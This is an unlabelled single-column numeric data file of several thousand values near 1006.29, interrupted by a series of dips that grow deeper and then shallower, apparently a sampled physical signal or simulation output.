1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.28
1006.28
1006.3
1006.27
1006.28
1006.3
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.3
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.3
1006.3
1006.3
1006.31
1006.31
1006.32
1006.32
1006.33
1006.33
1006.33
1006.34
1006.34
1006.35
1006.35
1006.34
1006.33
1006.32
1006.3
1006.29
1006.25
1006.19
1006.13
1006.08
1006.07
1006.06
1006.07
1006.1
1006.13
1006.16
1006.19
1006.21
1006.23
1006.26
1006.28
1006.3
1006.32
1006.32
1006.32
1006.32
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.3
1006.28
1006.27
1006.31
1006.28
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.31
1006.31
1006.32
1006.32
1006.31
1006.3
1006.29
1006.29
1006.29
1006.3
1006.31
1006.33
1006.34
1006.34
1006.35
1006.36
1006.37
1006.37
1006.36
1006.35
1006.35
1006.34
1006.31
1006.25
1006.15
1006.05
1005.97
1005.91
1005.87
1005.82
1005.79
1005.81
1005.85
1005.92
1005.99
1006.06
1006.13
1006.18
1006.22
1006.25
1006.28
1006.31
1006.32
1006.32
1006.32
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.26
1006.3
1006.29
1006.27
1006.29
1006.28
1006.29
1006.29
1006.29
1006.3
1006.29
1006.3
1006.3
1006.3
1006.31
1006.32
1006.32
1006.32
1006.31
1006.29
1006.28
1006.27
1006.28
1006.3
1006.32
1006.35
1006.37
1006.38
1006.39
1006.4
1006.4
1006.39
1006.39
1006.4
1006.37
1006.29
1006.17
1006.03
1005.9
1005.78
1005.63
1005.46
1005.28
1005.14
1005.07
1005.09
1005.2
1005.38
1005.59
1005.78
1005.95
1006.08
1006.16
1006.23
1006.27
1006.3
1006.31
1006.32
1006.32
1006.31
1006.31
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.3
1006.27
1006.29
1006.31
1006.27
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.3
1006.3
1006.3
1006.3
1006.31
1006.32
1006.33
1006.33
1006.31
1006.28
1006.26
1006.25
1006.27
1006.3
1006.35
1006.4
1006.42
1006.43
1006.44
1006.44
1006.45
1006.45
1006.43
1006.36
1006.23
1006.08
1005.92
1005.72
1005.44
1005.07
1004.65
1004.25
1003.94
1003.75
1003.7
1003.81
1004.09
1004.48
1004.9
1005.3
1005.63
1005.88
1006.05
1006.16
1006.24
1006.28
1006.31
1006.32
1006.32
1006.32
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.3
1006.28
1006.27
1006.31
1006.27
1006.28
1006.3
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.3
1006.31
1006.32
1006.33
1006.34
1006.31
1006.27
1006.23
1006.22
1006.26
1006.32
1006.39
1006.48
1006.49
1006.48
1006.51
1006.55
1006.54
1006.44
1006.31
1006.19
1006.06
1005.84
1005.43
1004.81
1004.05
1003.3
1002.66
1002.16
1001.77
1001.51
1001.41
1001.52
1001.88
1002.46
1003.19
1003.96
1004.67
1005.23
1005.65
1005.93
1006.1
1006.21
1006.27
1006.3
1006.31
1006.31
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.27
1006.3
1006.29
1006.26
1006.3
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.3
1006.31
1006.34
1006.35
1006.32
1006.26
1006.19
1006.18
1006.24
1006.34
1006.46
1006.59
1006.54
1006.56
1006.69
1006.67
1006.44
1006.23
1006.2
1006.15
1005.77
1004.92
1003.75
1002.57
1001.55
1000.67
999.815
998.87
997.862
996.924
996.246
996.02
996.389
997.379
998.847
1000.54
1002.17
1003.55
1004.59
1005.3
1005.75
1006.02
1006.18
1006.26
1006.29
1006.31
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.3
1006.27
1006.29
1006.3
1006.27
1006.3
1006.28
1006.29
1006.29
1006.29
1006.3
1006.29
1006.3
1006.3
1006.3
1006.3
1006.31
1006.34
1006.36
1006.33
1006.25
1006.16
1006.14
1006.23
1006.36
1006.58
1006.69
1006.58
1006.78
1006.89
1006.52
1006.15
1006.21
1006.32
1005.75
1004.29
1002.41
1000.76
999.534
998.394
996.81
994.522
991.677
988.704
986.135
984.467
984.063
985.072
987.376
990.596
994.189
997.613
1000.49
1002.66
1004.16
1005.12
1005.69
1006.01
1006.18
1006.26
1006.29
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.3
1006.28
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.3
1006.33
1006.38
1006.36
1006.26
1006.12
1006.08
1006.2
1006.39
1006.72
1006.75
1006.73
1007.09
1006.85
1006.16
1006.13
1006.52
1005.93
1003.82
1001.07
998.895
997.498
995.933
993.016
988.269
982.126
975.575
969.725
965.529
963.636
964.316
967.446
972.538
978.813
985.366
991.39
996.36
1000.08
1002.64
1004.27
1005.24
1005.79
1006.07
1006.21
1006.27
1006.29
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.3
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.29
1006.3
1006.3
1006.3
1006.29
1006.31
1006.38
1006.4
1006.29
1006.1
1006.01
1006.14
1006.42
1006.85
1006.82
1007.01
1007.28
1006.56
1005.99
1006.47
1006.41
1004.06
1000.19
997.066
995.431
993.581
989.077
980.883
969.922
958.187
947.644
939.746
935.425
935.13
938.781
945.77
955.077
965.457
975.666
984.711
992.005
997.399
1001.08
1003.41
1004.8
1005.57
1005.97
1006.17
1006.25
1006.29
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.31
1006.31
1006.28
1006.28
1006.36
1006.43
1006.34
1006.1
1005.94
1006.06
1006.44
1006.93
1006.97
1007.31
1007.27
1006.32
1006.18
1006.68
1005.16
1000.73
995.929
993.133
991.037
985.786
974.738
958.58
940.436
923.65
910.459
902.069
899.187
902.112
910.406
922.788
937.483
952.671
966.82
978.878
988.347
995.225
999.861
1002.77
1004.48
1005.42
1005.91
1006.14
1006.24
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.3
1006.29
1006.3
1006.32
1006.29
1006.26
1006.33
1006.46
1006.42
1006.14
1005.88
1005.96
1006.42
1006.97
1007.2
1007.54
1007.14
1006.34
1006.52
1006.22
1002.76
996.874
991.763
988.228
982.871
971.297
952.219
928.378
904.285
883.647
868.512
859.987
859.037
866.217
880.678
900.01
921.236
941.797
959.945
974.758
986.011
993.979
999.241
1002.49
1004.36
1005.38
1005.89
1006.14
1006.24
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.32
1006.31
1006.25
1006.27
1006.44
1006.5
1006.23
1005.85
1005.82
1006.32
1006.98
1007.45
1007.65
1007.08
1006.61
1006.67
1005.04
999.926
993.139
987.029
980.566
969.763
951.324
925.514
895.933
867.241
843.075
825.585
816.398
817.437
829.86
852.034
879.67
908.136
934.123
955.887
972.873
985.298
993.822
999.299
1002.6
1004.46
1005.44
1005.93
1006.16
1006.25
1006.29
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.31
1006.34
1006.27
1006.21
1006.38
1006.57
1006.37
1005.89
1005.69
1006.14
1006.95
1007.64
1007.74
1007.19
1006.96
1006.53
1003.57
997.274
989.363
980.938
970.068
953.487
929.588
899.568
866.676
834.861
807.592
787.527
777.464
780.913
799.66
830.465
866.445
901.333
931.497
955.578
973.599
986.299
994.722
999.969
1003.04
1004.72
1005.58
1006
1006.19
1006.27
1006.29
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.3
1006.28
1006.29
1006.35
1006.32
1006.19
1006.28
1006.57
1006.54
1006.02
1005.59
1005.89
1006.81
1007.72
1007.88
1007.43
1007.24
1006.25
1002.3
994.981
985.43
973.849
958.354
936.949
909.584
877.934
844.329
811.439
782.317
760.518
750.767
758.328
784.492
823.244
865.298
903.718
935.328
959.521
976.967
988.848
996.474
1001.08
1003.68
1005.07
1005.76
1006.09
1006.23
1006.28
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.3
1006.29
1006.27
1006.33
1006.37
1006.22
1006.16
1006.48
1006.67
1006.25
1005.61
1005.61
1006.53
1007.68
1008.06
1007.75
1007.46
1006.04
1001.47
993.218
981.775
966.948
947.517
922.743
893.584
861.943
829.556
798.093
769.988
749.514
743.3
757.292
790.498
834.058
877.827
915.591
945.268
967.128
982.373
992.437
998.703
1002.37
1004.39
1005.43
1005.93
1006.16
1006.26
1006.29
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.31
1006.27
1006.28
1006.39
1006.31
1006.11
1006.31
1006.7
1006.52
1005.79
1005.41
1006.09
1007.43
1008.22
1008.13
1007.68
1005.99
1001.21
992.318
979.162
961.627
939.48
912.923
883.156
852.259
822.524
795.679
773.181
758.712
759.271
779.875
816.96
860.417
901.013
934.147
959.042
976.714
988.658
996.321
1000.96
1003.61
1005.02
1005.74
1006.07
1006.22
1006.28
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.31
1006.29
1006.24
1006.35
1006.41
1006.16
1006.13
1006.58
1006.74
1006.13
1005.4
1005.62
1006.92
1008.2
1008.53
1008.03
1006.19
1001.47
992.391
978.259
959.31
936.183
909.425
880.127
851.045
825.848
806.455
792.791
787.052
795.163
820.12
856.658
895.292
928.901
954.834
973.449
986.193
994.557
999.791
1002.89
1004.62
1005.52
1005.97
1006.17
1006.26
1006.29
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.32
1006.25
1006.27
1006.44
1006.3
1006.05
1006.34
1006.78
1006.51
1005.66
1005.3
1006.24
1007.82
1008.75
1008.55
1006.82
1002.22
993.221
979.263
960.855
938.724
913.326
886.209
861.247
842.533
830.981
825.41
827.436
841.332
867.45
899.716
930.512
955.359
973.423
985.8
993.984
999.222
1002.44
1004.31
1005.34
1005.87
1006.12
1006.24
1006.28
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.27
1006.32
1006.3
1006.22
1006.37
1006.43
1006.13
1006.11
1006.61
1006.78
1006.11
1005.31
1005.63
1007.07
1008.5
1009.05
1007.87
1003.5
994.876
982.147
965.863
946.153
923.549
900.689
881.911
870.064
864.671
864.753
872.099
888.87
912.911
938.392
960.231
976.463
987.547
994.81
999.479
1002.42
1004.2
1005.23
1005.8
1006.08
1006.22
1006.28
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.3
1006.27
1006.29
1006.33
1006.24
1006.27
1006.45
1006.3
1006.05
1006.32
1006.78
1006.53
1005.67
1005.37
1006.2
1007.73
1009.12
1008.83
1005.15
997.595
986.913
973.41
956.691
937.821
920.472
908.471
902.673
901.707
905.451
915.529
931.865
950.966
968.423
981.782
990.899
996.774
1000.5
1002.87
1004.35
1005.26
1005.78
1006.06
1006.2
1006.27
1006.29
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.27
1006.32
1006.3
1006.23
1006.35
1006.42
1006.18
1006.13
1006.53
1006.69
1006.18
1005.57
1005.62
1006.77
1008.51
1009.01
1006.56
1001.02
993.068
982.46
968.881
954.506
943.388
937.586
935.936
937.272
942.546
952.577
965.594
978.264
988.227
995.018
999.309
1001.97
1003.65
1004.73
1005.41
1005.83
1006.07
1006.2
1006.27
1006.29
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.3
1006.28
1006.28
1006.33
1006.27
1006.26
1006.39
1006.34
1006.16
1006.27
1006.56
1006.52
1006.01
1005.61
1006.13
1007.42
1008.14
1007.07
1004.09
999.03
991.132
981.101
972.159
966.913
964.759
964.213
965.891
971.14
979.25
987.72
994.492
999.034
1001.82
1003.49
1004.54
1005.22
1005.66
1005.95
1006.12
1006.22
1006.27
1006.29
1006.3
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.27
1006.3
1006.31
1006.26
1006.3
1006.38
1006.29
1006.2
1006.35
1006.52
1006.35
1006.01
1006
1006.44
1006.87
1006.82
1005.74
1002.63
997.232
991.442
987.482
985.191
983.427
982.891
985.162
989.99
995.373
999.611
1002.31
1003.87
1004.77
1005.32
1005.68
1005.93
1006.09
1006.19
1006.25
1006.28
1006.3
1006.3
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.31
1006.3
1006.27
1006.33
1006.35
1006.27
1006.26
1006.36
1006.42
1006.33
1006.14
1006.06
1006.25
1006.41
1005.7
1003.52
1000.67
998.386
996.541
994.539
993.357
994.458
997.524
1000.85
1003.23
1004.56
1005.26
1005.65
1005.88
1006.04
1006.14
1006.21
1006.26
1006.29
1006.3
1006.31
1006.31
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.28
1006.29
1006.28
1006.29
1006.31
1006.29
1006.3
1006.33
1006.33
1006.28
1006.29
1006.36
1006.36
1006.27
1006.24
1006.27
1006
1005.11
1003.94
1002.93
1001.77
1000.27
999.475
1000.4
1002.47
1004.33
1005.37
1005.82
1006.02
1006.13
1006.2
1006.24
1006.27
1006.29
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.3
1006.3
1006.31
1006.32
1006.32
1006.31
1006.3
1006.29
1006.34
1006.38
1006.23
1005.83
1005.4
1005.02
1004.37
1003.49
1003.25
1004.11
1005.34
1006.08
1006.27
1006.28
1006.3
1006.32
1006.33
1006.33
1006.33
1006.32
1006.32
1006.32
1006.32
1006.32
1006.31
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.3
1006.3
1006.31
1006.31
1006.32
1006.32
1006.3
1006.31
1006.33
1006.28
1006.18
1006.12
1006.02
1005.68
1005.28
1005.36
1005.98
1006.49
1006.54
1006.39
1006.33
1006.34
1006.36
1006.35
1006.33
1006.33
1006.32
1006.32
1006.32
1006.32
1006.31
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.3
1006.31
1006.31
1006.31
1006.31
1006.32
1006.32
1006.28
1006.26
1006.29
1006.27
1006.12
1006.01
1006.2
1006.52
1006.58
1006.39
1006.26
1006.29
1006.34
1006.34
1006.33
1006.32
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.31
1006.31
1006.32
1006.32
1006.31
1006.3
1006.32
1006.29
1006.23
1006.24
1006.38
1006.47
1006.36
1006.21
1006.22
1006.31
1006.34
1006.32
1006.3
1006.3
1006.3
1006.31
1006.31
1006.31
1006.31
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.31
1006.31
1006.32
1006.31
1006.31
1006.32
1006.3
1006.28
1006.31
1006.37
1006.34
1006.24
1006.2
1006.28
1006.35
1006.34
1006.3
1006.29
1006.29
1006.3
1006.31
1006.31
1006.31
1006.31
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.28
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.31
1006.31
1006.32
1006.32
1006.31
1006.31
1006.33
1006.33
1006.29
1006.25
1006.27
1006.34
1006.35
1006.31
1006.29
1006.29
1006.3
1006.31
1006.31
1006.32
1006.32
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
